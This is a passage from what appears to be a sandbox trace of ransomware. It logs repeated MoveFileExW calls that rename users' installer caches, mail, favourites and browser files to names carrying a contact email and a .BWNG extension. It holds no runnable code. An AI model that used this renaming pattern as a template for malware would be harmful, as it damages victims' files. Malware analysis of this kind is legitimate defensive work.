Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\[billwong73@yahoo.com].N2XMHuAi-uak0dhW0.BWNG" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\[billwong73@yahoo.com].n2xmhuai-uak0dhw0.bwng"), dwFlags=0x1) returned 0 [0134.291] GetTickCount () returned 0x116902f [0134.291] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27624277273) returned 1 [0134.291] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\[billwong73@yahoo.com].al9PdNLh-P2h00ve2.BWNG" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\[billwong73@yahoo.com].al9pdnlh-p2h00ve2.bwng"), dwFlags=0x1) returned 0 [0134.291] GetTickCount () returned 0x116902f [0134.291] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27624318450) returned 1 [0134.291] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\[billwong73@yahoo.com].dVLbAllt-CTCjjWri.BWNG" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\[billwong73@yahoo.com].dvlballt-ctcjjwri.bwng"), dwFlags=0x1) returned 0 [0134.291] GetTickCount () returned 0x116902f [0134.291] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27624367898) returned 1 [0134.292] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\[billwong73@yahoo.com].DCllkRCg-0HYTVqfN.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\[billwong73@yahoo.com].dcllkrcg-0hytvqfn.bwng"), dwFlags=0x1) returned 1 [0134.293] GetTickCount () returned 0x116902f [0134.293] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27624558888) returned 1 [0134.294] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].DRZffW1k-3LWOJA3a.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].drzffw1k-3lwoja3a.bwng"), dwFlags=0x1) returned 1 [0134.295] GetTickCount () returned 0x116902f [0134.295] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27624687786) returned 1 [0134.295] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].4WPT7eFF-d53XV0Po.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].4wpt7eff-d53xv0po.bwng"), dwFlags=0x1) returned 1 [0134.296] GetTickCount () returned 0x116902f [0134.296] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27624808289) returned 1 [0134.296] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].VSwzChtB-aFLoEwjB.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].vswzchtb-afloewjb.bwng"), dwFlags=0x1) returned 1 [0134.297] GetTickCount () returned 0x116902f [0134.297] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27624942430) returned 1 [0134.297] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].Vuky1C85-9YuguqIA.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].vuky1c85-9yuguqia.bwng"), dwFlags=0x1) returned 1 [0134.299] GetTickCount () returned 0x116902f [0134.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27625082992) returned 1 [0134.299] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact"), lpNewFileName="C:\\Users\\Default\\Contacts\\[billwong73@yahoo.com].KwchBjpc-tTFKZN2e.BWNG" (normalized: "c:\\users\\default\\contacts\\[billwong73@yahoo.com].kwchbjpc-ttfkzn2e.bwng"), dwFlags=0x1) returned 1 [0134.300] GetTickCount () returned 0x116902f [0134.300] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27625201682) returned 1 [0134.300] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\[billwong73@yahoo.com].g6IWve5A-zMnBy5zJ.BWNG" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\[billwong73@yahoo.com].g6iwve5a-zmnby5zj.bwng"), dwFlags=0x1) returned 1 [0134.301] GetTickCount () returned 0x116903f [0134.301] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27625325869) returned 1 [0134.301] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\[billwong73@yahoo.com].1xw7h8Ne-ibPTdccv.BWNG" (normalized: "c:\\users\\default\\favorites\\windows live\\[billwong73@yahoo.com].1xw7h8ne-ibptdccv.bwng"), dwFlags=0x1) returned 1 [0134.302] GetTickCount () returned 0x116903f [0134.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27625448517) returned 1 [0134.303] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Saved Games\\desktop.ini" (normalized: "c:\\users\\default\\saved games\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Saved Games\\[billwong73@yahoo.com].Sxj5J5BX-2TpI1Dzs.BWNG" (normalized: "c:\\users\\default\\saved games\\[billwong73@yahoo.com].sxj5j5bx-2tpi1dzs.bwng"), dwFlags=0x1) returned 1 [0134.304] GetTickCount () returned 0x116903f [0134.304] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27625577181) returned 1 [0134.304] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Downloads\\desktop.ini" (normalized: "c:\\users\\public\\downloads\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Downloads\\[billwong73@yahoo.com].xLh4mC0s-YWthR8Ca.BWNG" (normalized: "c:\\users\\public\\downloads\\[billwong73@yahoo.com].xlh4mc0s-ywthr8ca.bwng"), dwFlags=0x1) returned 1 [0134.306] GetTickCount () returned 0x116903f [0134.306] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27625847426) returned 1 [0134.307] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Recorded TV\\desktop.ini" (normalized: "c:\\users\\public\\recorded tv\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Recorded TV\\[billwong73@yahoo.com].1sPW3rSp-lN1y1vgl.BWNG" (normalized: "c:\\users\\public\\recorded tv\\[billwong73@yahoo.com].1spw3rsp-ln1y1vgl.bwng"), dwFlags=0x1) returned 1 [0134.465] GetTickCount () returned 0x11690db [0134.465] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27641695658) returned 1 [0134.465] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\edbres00001.jrs"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\[billwong73@yahoo.com].ZjmKTdMA-xXjPPCwe.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\[billwong73@yahoo.com].zjmktdma-xxjppcwe.bwng"), dwFlags=0x1) returned 1 [0134.468] GetTickCount () returned 0x11690db [0134.468] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27642006393) returned 1 [0134.468] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].wiT8367x-tdaF5jZk.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].wit8367x-tdaf5jzk.bwng"), dwFlags=0x1) returned 1 [0134.473] GetTickCount () returned 0x11690ea [0134.473] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27642573152) returned 1 [0134.474] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr1.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\[billwong73@yahoo.com].Gjax78W1-VHBvNpZT.BWNG" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\[billwong73@yahoo.com].gjax78w1-vhbvnpzt.bwng"), dwFlags=0x1) returned 1 [0134.622] GetTickCount () returned 0x1169177 [0134.622] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27657421585) returned 1 [0134.623] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.infopatheditor.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].Flqrv5Kv-wVGvr8LH.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].flqrv5kv-wvgvr8lh.bwng"), dwFlags=0x1) returned 0 [0134.623] GetTickCount () returned 0x1169177 [0134.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27657510500) returned 1 [0134.623] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OUTLOOK.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.outlook.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].kydnD1gd-O70V39UE.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].kydnd1gd-o70v39ue.bwng"), dwFlags=0x1) returned 0 [0134.624] GetTickCount () returned 0x1169177 [0134.624] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27657579657) returned 1 [0134.624] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\[billwong73@yahoo.com].5HwYNXgv-WmlbrD1P.BWNG" (normalized: "c:\\users\\all users\\microsoft help\\[billwong73@yahoo.com].5hwynxgv-wmlbrd1p.bwng"), dwFlags=0x1) returned 0 [0134.624] GetTickCount () returned 0x1169177 [0134.624] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27657636821) returned 1 [0134.624] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\[billwong73@yahoo.com].goR8fi1N-Hh1Q2zhH.BWNG" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\[billwong73@yahoo.com].gor8fi1n-hh1q2zhh.bwng"), dwFlags=0x1) returned 0 [0134.625] GetTickCount () returned 0x1169177 [0134.625] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27657704517) returned 1 [0134.625] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\[billwong73@yahoo.com].KhDwJEdu-ULRIldYW.BWNG" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\[billwong73@yahoo.com].khdwjedu-ulrildyw.bwng"), dwFlags=0x1) returned 0 [0134.625] GetTickCount () returned 0x1169177 [0134.625] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27657767581) returned 1 [0134.626] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\[billwong73@yahoo.com].bu4p6CUH-fPiUraxO.BWNG" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\[billwong73@yahoo.com].bu4p6cuh-fpiuraxo.bwng"), dwFlags=0x1) returned 0 [0134.626] GetTickCount () returned 0x1169177 [0134.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27657827558) returned 1 [0134.626] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\[billwong73@yahoo.com].O1doOuZD-QFwiZIP8.BWNG" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\[billwong73@yahoo.com].o1doouzd-qfwizip8.bwng"), dwFlags=0x1) returned 0 [0134.627] GetTickCount () returned 0x1169177 [0134.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27657884087) returned 1 [0134.627] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\[billwong73@yahoo.com].RGQA66aD-aaOSpV5l.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\[billwong73@yahoo.com].rgqa66ad-aaospv5l.bwng"), dwFlags=0x1) returned 1 [0134.629] GetTickCount () returned 0x1169186 [0134.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27658090714) returned 1 [0134.629] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].g57zOPFx-QPc1Jk3Z.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].g57zopfx-qpc1jk3z.bwng"), dwFlags=0x1) returned 1 [0134.630] GetTickCount () returned 0x1169186 [0134.630] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27658273958) returned 1 [0134.631] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.msmessagestore"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\[billwong73@yahoo.com].q1LuxaLw-tgwAaQkK.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\[billwong73@yahoo.com].q1luxalw-tgwaaqkk.bwng"), dwFlags=0x1) returned 1 [0134.632] GetTickCount () returned 0x1169186 [0134.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27658413953) returned 1 [0134.632] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].Opkm1lCu-zQNSc6Ox.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].opkm1lcu-zqnsc6ox.bwng"), dwFlags=0x1) returned 1 [0134.633] GetTickCount () returned 0x1169186 [0134.633] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27658564578) returned 1 [0134.634] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), lpNewFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].n34ix6Ua-r5ADzy4z.BWNG" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].n34ix6ua-r5adzy4z.bwng"), dwFlags=0x1) returned 1 [0134.635] GetTickCount () returned 0x1169186 [0134.635] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27658727175) returned 1 [0134.635] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\Favorites\\[billwong73@yahoo.com].YIhVsMn6-mg0gtirK.BWNG" (normalized: "c:\\users\\default\\favorites\\[billwong73@yahoo.com].yihvsmn6-mg0gtirk.bwng"), dwFlags=0x1) returned 1 [0134.636] GetTickCount () returned 0x1169186 [0134.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27658876241) returned 1 [0134.637] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\[billwong73@yahoo.com].J43gH0zk-PdM7X0tJ.BWNG" (normalized: "c:\\users\\default\\favorites\\msn websites\\[billwong73@yahoo.com].j43gh0zk-pdm7x0tj.bwng"), dwFlags=0x1) returned 1 [0134.638] GetTickCount () returned 0x1169186 [0134.638] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27659023259) returned 1 [0134.638] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Links\\Downloads.lnk" (normalized: "c:\\users\\default\\links\\downloads.lnk"), lpNewFileName="C:\\Users\\Default\\Links\\[billwong73@yahoo.com].qPUJkAni-IEE9SzbC.BWNG" (normalized: "c:\\users\\default\\links\\[billwong73@yahoo.com].qpujkani-iee9szbc.bwng"), dwFlags=0x1) returned 1 [0134.639] GetTickCount () returned 0x1169186 [0134.639] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27659157195) returned 1 [0134.640] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Desktop\\desktop.ini" (normalized: "c:\\users\\public\\desktop\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Desktop\\[billwong73@yahoo.com].ZxpLQ9yC-RoEXdVbx.BWNG" (normalized: "c:\\users\\public\\desktop\\[billwong73@yahoo.com].zxplq9yc-roexdvbx.bwng"), dwFlags=0x1) returned 1 [0134.641] GetTickCount () returned 0x1169186 [0134.641] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27659365813) returned 1 [0134.642] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\1D8FDd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\3\\4b\\1d8fdd01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\3\\4B\\[billwong73@yahoo.com].85HrbHGH-07oBUxME.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\3\\4b\\[billwong73@yahoo.com].85hrbhgh-07obuxme.bwng"), dwFlags=0x1) returned 1 [0134.644] GetTickCount () returned 0x1169186 [0134.644] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27659589867) returned 1 [0134.645] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\[billwong73@yahoo.com].NTjgFcck-6yXqp8fM.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\[billwong73@yahoo.com].ntjgfcck-6yxqp8fm.bwng"), dwFlags=0x1) returned 1 [0134.647] GetTickCount () returned 0x1169196 [0134.647] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27659898209) returned 1 [0134.647] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\manifest-000001"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\[billwong73@yahoo.com].yJtZY2I7-OOeQMHLS.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\[billwong73@yahoo.com].yjtzy2i7-ooeqmhls.bwng"), dwFlags=0x1) returned 1 [0134.648] GetTickCount () returned 0x1169196 [0134.648] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27660179726) returned 1 [0134.650] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 